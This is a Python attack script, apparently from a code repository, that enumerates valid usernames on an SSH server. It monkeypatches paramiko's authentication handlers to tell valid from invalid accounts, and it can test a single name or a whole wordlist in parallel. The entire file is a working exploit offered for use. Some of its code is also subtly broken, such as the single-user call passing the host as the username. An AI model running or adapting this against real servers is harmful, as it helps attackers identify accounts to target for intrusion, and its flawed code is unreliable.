82 lines
2.3 KiB
Python
Executable File
82 lines
2.3 KiB
Python
Executable File
#!/usr/bin/python3
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import multiprocessing
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import threading
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import time
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import os
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import argparse
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import logging
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import paramiko
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import socket
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import sys
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import pdb
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arg_parser = argparse.ArgumentParser()
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arg_parser.add_argument('-t',dest='hostname', type=str, help='Single target')
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arg_parser.add_argument('-p',dest='port', type=int, default=22, help='port to connect on: Default port is 22')
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arg_parser.add_argument('-u',dest='username', type=str, help='username you want to enumerate')
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arg_parser.add_argument('-w',dest='wordlist', help='enumerate multiple users')
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args = arg_parser.parse_args()
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port = args.port
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target = args.hostname
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class InvalidUsername(Exception):
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pass
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def add_boolean(*args, **kwargs):
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pass
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old_service_accept = paramiko.auth_handler.AuthHandler._client_handler_table[paramiko.common.MSG_SERVICE_ACCEPT]
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def service_accept(*args, **kwargs):
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paramiko.message.Message.add_boolean = add_boolean
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return old_service_accept(*args, **kwargs)
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def userauth_failure(*args, **kwargs):
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raise InvalidUsername()
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def _paramiko_tunnel(username, *args, **kwargs):
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sock = socket.socket()
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sock.connect((target, port))
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us = username.strip()
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try:
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transport = paramiko.transport.Transport(sock)
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except socket.error:
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print ('[-] Failed to connect')
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return
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try:
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transport.start_client()
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except paramiko.ssh_exception.SSHException:
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print ('[-] Failed to negotiate SSH transport')
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return
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try:
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transport.auth_publickey(us, paramiko.RSAKey.generate(2048))
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except InvalidUsername or socket.error:
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print ('[*] {} - Invalid username'.format(us))
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except paramiko.ssh_exception.AuthenticationException:
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print ('[+] {} - Valid username'.format(us))
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return
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paramiko.auth_handler.AuthHandler._client_handler_table.update({
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paramiko.common.MSG_SERVICE_ACCEPT: service_accept,
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paramiko.common.MSG_USERAUTH_FAILURE: userauth_failure
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})
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logging.getLogger('paramiko.transport').addHandler(logging.NullHandler())
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if args.username is not None:
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username = args.username
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_paramiko_tunnel(target, port, username)
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if args.wordlist is not None:
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usernames = []
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mp = []
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pool = multiprocessing.Pool(5)
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with open(args.wordlist) as f:
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for u in f:
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usernames.append(u)
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pool.map(_paramiko_tunnel, usernames)
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